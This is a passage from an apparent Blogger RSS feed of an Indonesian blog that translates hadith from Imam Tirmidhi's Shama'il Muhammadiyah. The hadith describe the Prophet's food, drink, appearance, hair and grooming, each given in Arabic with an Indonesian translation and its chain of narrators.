Bagian dzir'an kesukaannya. Maka Rasulullah saw. Mencicipi sebagian daripadanya. "&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Washil bin `Abdul A'la, dari Muhammad bin Fudlail, dari Abi Hayyan at Taimi, dari Abi Zar'ah, yang bersumber dari Abu Hurairah r.a.)&lt;br /&gt;
&lt;br /&gt;
• Dzir'an adalah bagian tubuh binatang dari dengkul sampai bagian kaki.&lt;br /&gt;
&lt;br /&gt;
سمعت عبد الله بن جعفر يقول: سمعت رسول الله صلى الله عليه وسلم يقول: «إن أطيب اللحم لحم الظهر».&lt;br /&gt;
&lt;br /&gt;
"Daging yang paling baik adalah punggung."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Mahmud bin Ghailan, dari Abu Ahmad, dari Mis'ar, dari Syaikhan, dari Fahm,* yang bersumber dari `Abdullah bin Ja'far r.a.)&lt;br /&gt;
&lt;br /&gt;
26. wudhu Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن سلمان قال: قرأت في التوراة أن بركة الطعام الوضوء بعده، فذكرت ذلك للنبي صلى الله عليه وسلم، وأخبرته بما قرأت في التوراة، فقال رسول الله صلى الله عليه وسلم: «بركة الطعام الوضوء قبله والوضوء بعده».&lt;br /&gt;
&lt;br /&gt;
"Kubaca dalam Taurat bahwa berkah makanan itu karena berwudlu sebelum makan dan berwudlu sesudahnya". Hal tersebut kukatakan kepada Nabi saw., dan kukabarkan apa yang pernah kubaca dalam Taurat itu, maka Rasulullah saw. Bersabda :"Berkah makanan itu disebabkan berwudlu sebelum makan serta sesudahnya."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Yahya bin Musa, dari `Abdullah bin Numair, dari Qeis bin Rabi'. Hadist inipun diriwayatkan pula oleh Qutaibah, dari `Abdul Karim al Jurjani, kedua riwayat itu bersumber dari Qeis bin Rabi', dari Abi Hisyam Adahzadan yang bersumber dari Salman r.a.)&lt;br /&gt;
&lt;br /&gt;
27. doa sebelum dan sesudah makan Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أبي أيوب الأنصاري قال: كنا عند النبي صلى الله عليه وسلم يوما، فقرب طعاما، فلم أر طعاما كان أعظم بركة منه، أول ما أكلنا، ولا أقل بركة في آخره، فقلنا: يا رسول الله، كيف هذا؟ قال: «إنا ذكرنا اسم الله حين أكلنا، ثم قعد من أكل ولم يسم الله تعالى فأكل معه الشيطان».&lt;br /&gt;
&lt;br /&gt;
"Pada suatu hari, kami berada di rumah Rasulullah saw., maka Beliau menyuguhkan suatu makanan. Aku tidak mengetahui makanan yang paling besar berkahnya pada saat kami mulai makan dan tidak sedikit berkahnya di akhir kami makan."&lt;br /&gt;
Abu Ayub bertanya : "Wahai Rasulullah, bagaimanakah caranya hal ini bisa terjadi?" Rasulullah saw. bersabda :"Sesungguhnya kami membaca nama Allah waktu akan makan, kemudian duduklah seseorang yang makan tanpa menyebut nama Allah, maka makannya disertai syetan."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Qutaibah Dari Ibnu Luhai'ah, dari Yazid bin Abi Habib, dari Rasyad binJandal al Yafi'I, dari Hubeib bin Aus, yang bersumber dari Abu Ayub al Anshari r.a.)&lt;br /&gt;
&lt;br /&gt;
عن عائشة، قالت: قال رسول الله صلى الله عليه وسلم: «إذا أكل أحدكم فنسي أن يذكر الله تعالى على طعامه فليقل: بسم الله أوله وآخره».&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw. bersabda :"bila salah seorang dari kalian makan, tapi lupa menyebut nama Allah atas makanan itu, maka hendaklah ia membaca :"Bismillahi awwalahu wa akhirahu." (Dengan nama Allah pada awal dan akhirnya).&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Yahya bin Musa, dari abu Daud, dari Hisyam ad Distiwai, dari Budail al `Aqili, dari `Abdullah bin `Ubaid bin `Umair, dari Ummu Kultsum, yang bersumber dari `Aisyah r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أبي سعيد الخدري قال: كان رسول الله صلى الله عليه وسلم إذا فرغ من طعامه قال: «الحمد لله الذي أطعمنا وسقانا وجعلنا مسلمين».&lt;br /&gt;
&lt;br /&gt;
. "Apabila Rasulullah saw. selesai makan, maka Beliau membaca : "Alhamdulillahilladzi ath'amana wa saqana wa ja'alana muslimin." (Segala puji bagi Allah Yang memberi makan kepada kami, memberi minum kepada kami dan menjadikan kami orang-orang islam).&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Mahmud Ghailan, dari Abu Ahmad az Zubairi, dari Sufyan as Tsauri, dari Abu Hasyim, dari Ibnu Isma'il bin Riyah, dari bapaknya (Riyah bin `Ubaid), yang bersumber dari Abu Sa'id al khudri r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أبي أمامة قال: كان رسول الله صلى الله عليه وسلم إذا رفعت المائدة من بين يديه يقول: «الحمد لله حمدا كثيرا طيبا مباركا فيه غير مودع ولا مستغنى عنه ربنا».&lt;br /&gt;
&lt;br /&gt;
"Adapun Rasulullah saw., bila hidangan makan telah diangkat dari hadapannya,maka beliau membaca :"Alhamdulillahi hamdan katsiran thayyiban mubarakan fihi, ghaira muwadda'iw wa la mustaghnan `anhu Rabbana." (Segala puji bagi Allah, puji yang banyak tiada terhingga. Puji yang baik lagi berkah padanya.Puji yang tidak pernah berhenti. Dan puji tidak akan mampu lisan menuturkannya, ya Allah Rabbal `Alamin)&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari Yahya bin Sa'id, dari Tsaur bin Yazid, dari Khalid bin Ma'danyang bersumber dari Abu Umamah r.a.)&lt;br /&gt;
&lt;br /&gt;
28. tempat minum Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن ثابت قال: أخرج إلينا أنس بن مالك، قدح خشب غليظا مضببا بحديد فقال: «يا ثابت، هذا قدح رسول الله صلى الله عليه وسلم».&lt;br /&gt;
&lt;br /&gt;
"Anas bin Malik r.a. memperlihatkan kepada kami tempat minuman yang terbuat dari kayu. Tempat minuman itu tebal dan dililit dengan besi". kemudian anas r.a. menerangkan : "Wahai Tsabit! Inilah tempat minum Rasulullah saw."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh al Husain bin al Aswad al Baghdadi, dari `Amr bin Muhammad, dari `Isa bin Thuhman, yang bersumber dari Tsabit r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أنس قال: «لقد سقيت رسول الله صلى الله عليه وسلم بهذا القدح الشراب كله، الماء والنبيذ والعسل واللبن».&lt;br /&gt;
&lt;br /&gt;
"Sungguh ke dalam cangkir ini telah kutuangkan berbagai minuman untuk Rasulullah saw., baik itu air, nabidz*, madu ataupun susu."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh `Abdullah bin `Abdurrahman, dari Hammad bin Salamah, dari Humaid dan Tsabit, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
• Nabidz adalah air kurma, yakni beberapa biji kurma dimasukkan ke dalam air kemudian dibiarkan (semalam) sampai airnya terasa manis.&lt;br /&gt;
&lt;br /&gt;
• Anas bin malik pernah melayani Rasululloh selama 10 tahun.&lt;br /&gt;
&lt;br /&gt;
29. buah2 an yg dimakan Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن عبد الله قال: «كان النبي صلى الله عليه وسلم يأكل القثاء بالرطب».&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
"Nabi saw. memakan qitsa* dengan kurma (yang baru masak)."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Isma'il bin Musa al Farazi, dari Ibrahim bin Sa'id, dari ayahnya yang bersumber dari `Abdullah bin Ja'far r.a.)&lt;br /&gt;
&lt;br /&gt;
• Qitsa adalah sejenis buah-buahan yang mirip mentimun tetapi ukurannya lebih besar (Hirbis)&lt;br /&gt;
&lt;br /&gt;
عن عائشة: «أن النبي صلى الله عليه وسلم كان يأكل البطيخ بالرطب».&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Nabi saw. memakan semangka dengan kurma (yang baru masak).”&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh `Ubadah bin `Abdullah al Khaza'i al Bashri, dari Mu'awiyah bin Hisyam, dari Sufyan, dari Hisyam bin `Urwah, dari bapaknya, yang bersumber dari `Aisyah r.a.)&lt;br /&gt;
&lt;br /&gt;
30. minuman Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن عائشة، قالت: «كان أحب الشراب إلى رسول الله صلى الله عليه وسلم الحلو البارد».&lt;br /&gt;
&lt;br /&gt;
"Minuman yang paling disukai Rasulullah saw. adalah minuman manis yang dingin."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Ibnu Abi `Umar, dari Sufyan, dari Ma'mar, dari Zuhairi, dari `Urwah, yang bersumber dari `Aisyah r.a.)&lt;br /&gt;
&lt;br /&gt;
31. cara minum Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن ابن عباس: «أن النبي صلى الله عليه وسلم شرب من زمزم وهو قائم».&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Rasulullah saw. minum air zamzam sambil berdiri."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Ahmad bin Mani', dari Husyaim, dari `Ashim al Ahwal dan sebagainya, dari Sya'bi, yang bersumber dari Ibnu `Abbas r.a.)&lt;br /&gt;
&lt;br /&gt;
عن جده قال: «رأيت رسول الله صلى الله عليه وسلم يشرب قائما وقاعدا».&lt;br /&gt;
&lt;br /&gt;
" aku melihat Rasulullah saw minum dengan berdiri dan duduk"&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh qutaibah dari muhammad bin jakfar dari husain dari ma'mar dari ayaghnya dari kakeknya )&lt;br /&gt;
&lt;br /&gt;
عن أنس بن مالك، أن النبي صلى الله عليه وسلم: كان يتنفس في الإناء ثلاثا إذا شرب، ويقول: «هو أمرأ وأروى».&lt;br /&gt;
&lt;br /&gt;
"Sesungguhnya Rasulullah saw. menarik nafas tiga kali pada bejana bila Beliau minum. Beliau bersabda :"Cara seperti ini lebih menyenangkan dan menimbulkan kepuasan."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Qutaibah bin Sa'id, dan diriwayatkan pula oleh Yusuf bin Hammad, keduanya menerima dari `Abdul Warits bin Sa'id, dari Abi `Ashim, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>TENTANG KHATAMUN NUBUWWAH TERJEMAH KITAB AS SYAMAIL MUHAMMADIYAH IMAM TIRMIDZI</title><link>http://alifbraja.blogspot.com/2019/06/tentang-khataman-nubuwwah-terjemah.html</link><pubDate>Thu, 6 Jun 2019 18:46:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-245519516200512906</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Bacaan Dua Kalimat Syahadat&lt;br /&gt;
&lt;br /&gt;
أشهد أن لا اله الا الله وأشهد ان محمد رسول الله &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp;‘Asyhadu an laa ilaaha illallāh wa asyhadu anna Muhammad Rasuulullāh.’&lt;br /&gt;
Artinya: ‘Saya bersaksi bahwa tiada Tuhan selain Allah dan saya bersaksi bahwa Muhammad adalah rasul (utusan) Allah.’&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
TERJEMAH KITAB AS SYAMAIL MUHAMMADIYAH IMAM TIRMIDZI&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Katakanlah (wahai Muhammad): "Jika benar kamu mengasihi Allah maka ikutilah daku, nescaya Allah mengasihi kamu serta mengampunkan dosa-dosa kamu. Dan (ingatlah), Allah Maha Pengampun, lagi Maha Mengasihani. (Surah Ali Imran : 31)&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
1.BENTUK TUBUH RASULULLAH SAW.&lt;br /&gt;
&lt;br /&gt;
«كان رسول الله صلى الله عليه وسلم ليس بالطويل البائن، ولا بالقصير، ولا بالأبيض الأمهق، ولا بالآدم ولا بالجعد القطط ولا بالسبط، بعثه الله تعالى على رأس أربعين سنة، فأقام بمكة عشر سنين، وبالمدينة عشر سنين، وتوفاه الله تعالى على رأس ستين سنة، وليس في رأسه ولحيته عشرون شعرة بيضاء».&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw. bukanlah orang yang berperawakan terlalu tinggi, namun tidak pula pendek. Kulitnya tidak putih bule juga tidak sawo matang. Rambutnya ikal, tidak terlalu keriting dan tidak pula lurus kaku. Beliau diangkat Allah (menjkadi rasul) dalam usia empat puluh tahun. Beliau tingal di Mekkah (sebagai Rasul) sepuluh tahun dan di madinah sepuluh tahun. Beliau pulang ke Rahmatullah dalam usia permulaan enam puluh tahun. Pada kepala dan janggutnya tidak terdapat sampai dua puluh lembar rambut yang telah berwarna putih."(diriwayatkan oleh Abu Raja' Qutaibah bin Sa'id, dari Malik bin Anas, dari Rabi'ah bin Abi `Abdurrahman yang bersumber dari Anas bin Malik r.a)&lt;br /&gt;
&lt;br /&gt;
«ما رأيت من ذي لمة في حلة حمراء أحسن من رسول الله، له شعر يضرب منكبيه، بعيد ما بين المنكبين، لم يكن بالقصير ولا بالطويل».&lt;br /&gt;
&lt;br /&gt;
"Aku tak pernah orang yang berambut panjang terurus rapi, dengan mengenakan pakaian merah, yang lebih tampan dari Rasulullah saw. Rambutnya mencapai kedua bahunya.Kedua bahunya bidang. beliau bukanlah seorang yang berperawakan pendek dan tidak pula terlampau tinggi." (diriwayatkan oleh Mahmud bin Ghailan, dari Waki',dari Sufyan, Dari Abi Ishaq, yang bersumber dari al Bara bin `Azib r.a)&lt;br /&gt;
&lt;br /&gt;
«لم يكن رسول الله بالطويل الممغط، ولا بالقصير المتردد، وكان ربعة من القوم، لم يكن بالجعد القطط، ولا بالسبط، كان جعدا رجلا، ولم يكن بالمطهم ولا بالمكلثم، وكان في وجهه تدوير أبيض مشرب، أدعج العينين، أهدب الأشفار، جليل المشاش والكتد، أجرد ذو مسربة، شثن الكفين والقدمين، إذا مشى تقلع كأنما ينحط في صبب، وإذا التفت التفت معا، بين كتفيه خاتم النبوة، وهو خاتم النبيين، أجود الناس صدرا، وأصدق الناس لهجة، وألينهم عريكة، وأكرمهم عشرة، من رآه بديهة هابه، ومن خالطه معرفة أحبه، يقول ناعته: لم أر قبله ولا بعده مثله صلى الله عليه وسلم»&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw. tidak berperawakan terlalu tinggi dan tidak pula terlalu pendek. Beliau berperawakan sedang diantara kaumnya. Rambut tidak keriting bergulung dan tidak pula lurus kaku, melainkan ikal bergelombang. Badannya tidak gemuk, dagunya tidak lancip dan wajahnya agak bundar. Kulitnya putih kemerahmerahan. Matanya hitam pekat dan bulu matanya lentik. Bahunya bidang. beliau memiliki bulu lebat yang memanjang dari dada sampai ke pusat. Tapak tangan dan kakinya terasa tebal. Bila Beliau berjalan, berjalan dengan tegap seakanakan Beliau turun ke tempat yang rendah. Bila Beliau berpaling maka seluruh badannya ikut berpaling. Diantara kedua bahunya terdapat Khatamun Nubuwah, yaitu tanda kenabian. Beliau memiliki hati yang paling pemurah diantara manusia. Ucapannya merupakan perkataan yang paling benar diantar semua orang. Perangainya amat lembut dan beliau paling ramah dalam pergaulan.&lt;br /&gt;
&lt;br /&gt;
Barang siapa melihatnya, pastilah akan menaruh hormat padanya. Dan barang siapa pernah berkumpul dengannya kemudian kenal dengannya tentulah ia akan mencintainya. Orang yang menceritakan sifatnya, pastilah akan berkata: "Belum pernah aku melihat sebelum dan sesudahnya orang yang seistimewa Beliau saw."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Ahmad bin `Ubadah ad Dlabi al Bashri, juga diriwayatkan oleh `Ali bin Hujr dan Abu Ja'far bin Muhammad bin al Husein, dari `Isa bin Yunus, dari `Umar bin `Abdullah, dari Ibrahim bin Muhammad, dari salah seorang putera `Ali bin Abi Thalib k.w. yang bersumber dari `Ali bin Abi Thalib k.w.)&lt;br /&gt;
&lt;br /&gt;
«عرض علي الأنبياء، فإذا موسى عليه السلام ضرب من الرجال، كأنه من رجال شنوءة، ورأيت عيسى ابن مريم عليه السلام، فإذا أقرب من رأيت به شبها عروة بن مسعود، ورأيت إبراهيم عليه السلام، فإذا أقرب من رأيت به شبها صاحبكم، يعني نفسه، ورأيت جبريل عليه السلام فإذا أقرب من رأيت به شبها دحية».&lt;br /&gt;
&lt;br /&gt;
"Telah diperlihatkan kepadaku para Nabi. Adapun Nabi Musa a.s. bagaikan seorang laki laki dari suku Syanu'ah*. Kulihat pula Nabi `Isa bin Maryan a.s. ternyata orang yang pernah kulilihat mirip kepadanya adalah `Urwah bin Mas'ud*, Kulihat pula Nabi Ibranim a.s. ternyata orang yang mirip kepadanya adalah kawan kalian ini (yaitu Nabi saw sendiri). Kulihat jibril ternyata orang yang pernah kulihat mirip kepadanya adalah Dihyah*."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Qutaibah bin Sa'ad dari Laits bin Sa'id, dari Abi Zubair yang bersumber dari Jabir bin `Abdullah r.a.)&lt;br /&gt;
&lt;br /&gt;
«كان رسول الله صلى الله عليه وسلم أفلج الثنيتين، إذا تكلم رئي كالنور يخرج من بين ثناياه».&lt;br /&gt;
&lt;br /&gt;
"Rasulullah mempunyai gigi seri yang renggang. Bila Beliau berbicara terlihat seperti ada cahaya yang memancar keluar antara kedua gigi serinya itu." (Diriwayatkan oleh `Abdullah bin `Abdurrahman, dari Ibrahim bin Mundzir al Hizami, dari `Abdul `Aziz bin Tsabit az Zuhri, dari Ismail bin Ibrahim, dari Musa bin `Uqbah, dari Kuraib yang bersumber dari Ibnu `Abbas r.a.)&lt;br /&gt;
&lt;br /&gt;
2. BENTUK KHOTAM (tanda/cap)NUBUWWAH&lt;br /&gt;
&lt;br /&gt;
«رأيت الخاتم بين كتفي رسول الله صلى الله عليه وسلم غدة حمراء مثل بيضة الحمامة».&lt;br /&gt;
&lt;br /&gt;
"Aku pernah melihat khatam (kenabian)…. Ia terletak antara kedua bahu Rasulullah saw. Bentuknya seperti sepotong daging berwarna merah sebesar telur burung dara." (Diriwayatkan oleh Sa'id bin Ya'qub at Thalaqani dari Ayub bin Jabir, dari Simak bin Harb yang bersumber dari Jabir bin Samurah r.a.)&lt;br /&gt;
&lt;br /&gt;
كان علي، إذا وصف رسول الله صلى الله عليه وسلم- فذكر الحديث بطوله- وقال: «بين كتفيه خاتم النبوة، وهو خاتم النبيين».&lt;br /&gt;
&lt;br /&gt;
"Apabila `Ali k.w. menceritakan sifat Rasulullah saw. maka ia akan bercerita panjang lebar. Dan ia akan berkata: `Diantara kedua bahunya terdapat Khatam kenabian, yaitu khatam para Nabi.&lt;br /&gt;
(Diriwayatkan oleh Ahmad bin `Ubadah ad Dlabi `Ali bin Hujr dan lainnya, yang mereka terima dari Isa bin Yunus dari `Umar bin `Abdullah, dari `Ibrahim bin Muhammad yang bersumber dari salah seorang putera `Ali bin Abi Thalib k.w.)&lt;br /&gt;
&lt;br /&gt;
قال لي رسول الله صلى الله عليه وسلم: «يا أبا زيد، ادن مني فامسح ظهري»، فمسحت ظهره، فوقعت أصابعي على الخاتم قلت: وما الخاتم؟ قال: «شعرات مجتمعات».&lt;br /&gt;
&lt;br /&gt;
Dalam suatu riwayat, Alba'bin Ahmar al Yasykuri mengadakan dialog dengan Abu Zaid `Amr bin Akhthab al Anshari r.a. sbb: "Abu Zaid berkata: `Rasulullah saw bersabda kepadaku : `Wahai Abu Zaid mendekatlah kepadaku dan usaplah punggungku'. Maka punggungnya kuusap, dan terasa jari jemariku menyentuh Khatam. Aku (alba' bin Ahmar al Yasykuri) bertanya kepada Abu Zaid: `Apakah Khatam itu?' Abu Zaid menjawab: `kumpulan bulu-bulu.&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari Abu `Ashim dari `Uzrah bin Tsabit yang bersumber dari Alba'bin Ahmar al Yasykuri)&lt;br /&gt;
&lt;br /&gt;
3. RAMBUT RASULULLOH&lt;br /&gt;
&lt;br /&gt;
عَنْ أنَسِ بْنِ مَالِكٍ، قَالَ: كَانَ شَعَرُ رَسُولِ اللهِ صلى الله عليه وسلم إِلَى نِصْفِ أُذُنَيْهِ.&lt;br /&gt;
&lt;br /&gt;
"Rambut Rasulullah saw mencapai pertengahan kedua telinganya." (Diriwayatkan oleh `Ali bin Hujr, dari Ismail bin Ibrahim, dari Humaid yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
عَنِ الْبَرَاءِ بْنِ عَازِبٍ، قَالَ: كَانَ رَسُولُ اللهِ صلى الله عليه وسلم مَرْبُوعًا، بَعِيدَ مَا بَيْنَ الْمِنْكَبَيْنِ، وَكَانَتْ جُمَّتُهُ تَضْرِبُ شَحْمَةَ أُذُنَيْهِ.&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw. adalah seorang yang berbadan sedang, kedua bahunya bidang, sedangkan rambutnya menyentuh kedua daun telinganya." (Diriwayatkan oleh Ahmad bin Mani', dari Abu Qathan, dari Syu'bah dari Abi Ishaq yang bersumber dari al Bara' bin `Azib r.a.)&lt;br /&gt;
&lt;br /&gt;
عَنْ قَتَادَةَ، قَالَ: قُلْتُ لأَنَسٍ: كَيْفَ كَانَ شَعَرُ رَسُولِ اللهِ صلى الله عليه وسلم؟ قَالَ: لَمْ يَكُنْ بِالْجَعْدِ، وَلا بِالسَّبْطِ، كَانَ يَبْلُغُ شَعَرُهُ شَحْمَةَ أُذُنَيْهِ.&lt;br /&gt;
&lt;br /&gt;
"Rambut Rasulullah saw. tidak terlampau keriting, tidak pula lurus kaku, rambutnya mencapai kedua daun telingannya. "(Diriwayatkan oleh Muhammad bin Basyar, dari Wahab bin Jarir bin Hazim, dari Hazim yang bersumber dari Qatadah)&lt;br /&gt;
&lt;br /&gt;
عَنِ ابْنِ عَبَّاسٍ: أَنَّ رَسُولَ اللهِ صلى الله عليه وسلم كَانَ يُسْدِلُ شَعَرَهُ، حَدَّثَنَا عَبْدُ اللهِ بْنُ الْمُبَارَكِ، عَنْ يُونُسَ بْنِ يَزِيدَ، عَنِ الزُّهْرِيِّ، قَالَ: حَدَّثَنَا عُبَيْدُ اللهِ بْوَكَانَ الْمُشْرِكُونَ يَفْرِقُونَ رُؤُوسَهُمْ، وَكَانَ أَهْلُ الْكِتَابِ يُسْدِلُونَ رُؤُوسَهُمْ، وَكَانَ يُحِبُّ مُوَافَقَةَ أَهْلِ الْكِتَابِ فِيمَا لَمْ يُؤْمَرْ فِيهِ بِشَيْءٍ، ثُمَّ فَرَقَ رَسُولُ اللهِ صلى الله عليه وسلم رَأْسَهُ.&lt;br /&gt;
&lt;br /&gt;
)"Sesungguhnya Rasulullah saw., dulunya menyisir rambutnya ke belakang, sedangkan orang-orang musyrik menyisir rambut mereka ke kiri dan ke kanan, dan Ahlul Kitab menyisir rambutnya ke belakang. Selama tidak ada perintah lain, Rasulullah saw. Senang menyesuaikan diri dengan Ahlul Kitab. Kemudian,Rasulullah saw. menyisir rambutnya ke kiri dan ke kanan."(Diriwayatkan oleh Suwaid bin Nashr dari `Abdullah bin al Mubarak, dari Yunus bin Yazid, dari az Zuhri, dari `Ubaidilah bin `Abdullah bin `Utbah, yang bersumber dari Ibnu `Abbas r.a.)&lt;br /&gt;
&lt;br /&gt;
4. cara bersisir Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن أنس بن مالك قال: «كان رسول الله صلى الله عليه وسلم يكثر دهن رأسه وتسريح لحيته، ويكثر القناع حتى كأن ثوبه ثوب زيات».&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw. sering meminyaki rambutnya, menyisir janggutnya dan sering waktu menyisir rambutnya beliau menutupi (bahunya) dengan kain kerudung. Kain kerudung itu demikian berminyak seakan-akan kain tukang minyak."(Diriwayatkan oleh Yusuf bin'Isa, dari Rabi' bin Shabih, dari Yazid bin aban ar Raqasyi*, yang bersumber dari Anas bin Malik r.a.)&lt;br /&gt;
&lt;br /&gt;
* Aban ar Raqasyi dikenal sebagai orang yang dinilai munkar periwayatannya. Hadist ini sangat berlawanan dengan kebanyakan hadist shahih, yang menerangkan tentang kebersihan dan penampilan terpuji dari Rasulullah saw. (Muhammad `Afif az Za'bi).&lt;br /&gt;
&lt;br /&gt;
عن عبد الله بن مغفل، قال: «نهى رسول الله صلى الله عليه وسلم عن الترجل إلا غبا».&lt;br /&gt;
&lt;br /&gt;
"Rasulullah saw. melarang bersisir kecuali sekali-kali. " (Diriwayatkan oleh Muhammad Basyar, dari Yahya bin Sa'id,dari Hisyam bin Hasan, dari al Hasan Bashri, yang bersumber dari `Abdullah bin Mughaffal r.a.*)&lt;br /&gt;
&lt;br /&gt;
* Yang dilarang ialah bersisir layaknya wanita pesolek.• 'Abdullah bin Mughaffal r.a. dalah sahabat Rasulullah saw. Yang masyhur, ia adalah salah seorang peserta "Bai'tusSyajarah", wafat pada tahun 60 H ada pula yang mengatakan tahun 57 H.&lt;br /&gt;
&lt;br /&gt;
5. uban Rosululloh&lt;br /&gt;
&lt;br /&gt;
عن قتادة قال: قلت لأنس بن مالك: هل خضب رسول الله صلى الله عليه وسلم؟ قال: «لم يبلغ ذلك، إنما كان شيبا في صدغيه» «ولكن أبو بكر، خضب بالحناء والكتم».&lt;br /&gt;
&lt;br /&gt;
Qatadah bertanya kepada Anas bin Malik r.a.: "Pernahkah Rasulullah saw. menyemir rambutnya yang telah beruban?" Anas bin Malik menjawab:"Tidaksampai demikian. Hanya beberapa lembar uban saja di pelipisnya. Namun Abu Bakar r.a. pernah mewarnai (rambutnya yang memutih) dengan daun pacar dan katam."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Muhammad bin Basyar, dari Abu Daud, dari Hamman yang bersumber dari Qatadah)&lt;br /&gt;
- Katam adalah sejenis tumbuh-tumbuhan yang biasa digunakan untuk memerahi rambut sedangkan warnanya merah tua.&lt;br /&gt;
&lt;br /&gt;
عن أنس قال: «ما عددت في رأس رسول الله صلى الله عليه وسلم ولحيته إلا أربع ع شرة شعرة بيضاء».&lt;br /&gt;
anas berkata : " tiadalah aku menghitung di kepala Rasululloh shollallohu alaihi wasallam dan jg jenggotnya kecuali ada 14 rambut berwarna putih."&lt;br /&gt;
&lt;br /&gt;
(diriwayatkan oleh ishaq bin mansur, dari yahya bin musa, keduanya dari abdurrazzak, dari ma'mar, dari tsabit bersumber dari anas binmalik )&lt;br /&gt;
&lt;br /&gt;
عن ابن عباس قال: قال أبو بكر: يا رسول الله، قد شبت، قال: «شيبتني هود، والواقعة، والمرسلات، وعم يتساءلون، وإذا الشمس كورت».&lt;br /&gt;
&lt;br /&gt;
Dalam suatu riwayat Ibnu `Abbas r.a. mengemukakan: Abu Bakar r.a. berkata: "Wahai Rasulullah, sungguh Anda telah beruban!" Rasulullah saw. bersabda:"Surah Hud, Surah al Waqi'ah, Surah al Mursalat, Surah Amma Yatasa'alun dan Surah Idzasy-Syamsu kuwwirat, menyebabkan aku beruban."&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Abu Kuraib Muhammad bin al A'la, dari Mu'awiyah bin Hisyam, dari Syaiban, dari Ishaq, dari Ikrimah, yang bersumber dari Ibnu `Abbas r.a.)&lt;br /&gt;
&lt;br /&gt;
6. semir rambut Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن الجهدمة، امرأة بشر ابن الخصاصية، قالت: «أنا رأيت رسول الله صلى الله عليه وسلم يخرج من بيته ينفض رأسه وقد اغتسل، وبرأسه ردع من حناء» أو قال: «ردغ» شك في هذا الشيخ.&lt;br /&gt;
&lt;br /&gt;
Al Jahdzamah r.a., isteri Busyair bin al Khaskhashiyyah pernah bercerita: "Aku melihat Rasulullah saw. keluar dari rumahnya mengibaskan rambut sehabis mandi. Dan di kepalanya terdapat bekas daun inai", atau "bekas celupan"(rawi ragu).&lt;br /&gt;
&lt;br /&gt;
(Diriwayatkan oleh Ibrahim bin Harun, dari Nadlr bin Zararah*, dari Abi Jinab*, dari Iyad bin Laqith, yang bersumber dari Jahdzamah r.a.)&lt;br /&gt;
&lt;br /&gt;
عن أنس قال: «رأيت شعر رسول الله صلى الله عليه وسلم مخضوبا».&lt;br /&gt;
&lt;br /&gt;
. "Aku melihat rambut Rasulullah saw. disemir."&lt;br /&gt;
(Diriwayatkan oleh `Abdullah bin `Abdurrahman, dari `Amr bin `Ashim, dari Hammad bin Salamah, dari Humaid, yang bersumber dari Anas r.a.)&lt;br /&gt;
&lt;br /&gt;
7. celak mata Rasululloh&lt;br /&gt;
&lt;br /&gt;
عن ابن عباس، أن النبي صلى الله عليه وسلم قال: «اكتحلوا بالإثمد فإنه يجلو البصر، وينبت الشعر».&lt;br /&gt;
وزعم «أن النبي صلى الله عليه وسلم كانت له مكحلة يكتحل منها كل ليلة ثلاثة في هذه، وثلاثة في هذه».&lt;br /&gt;
&lt;br /&gt;
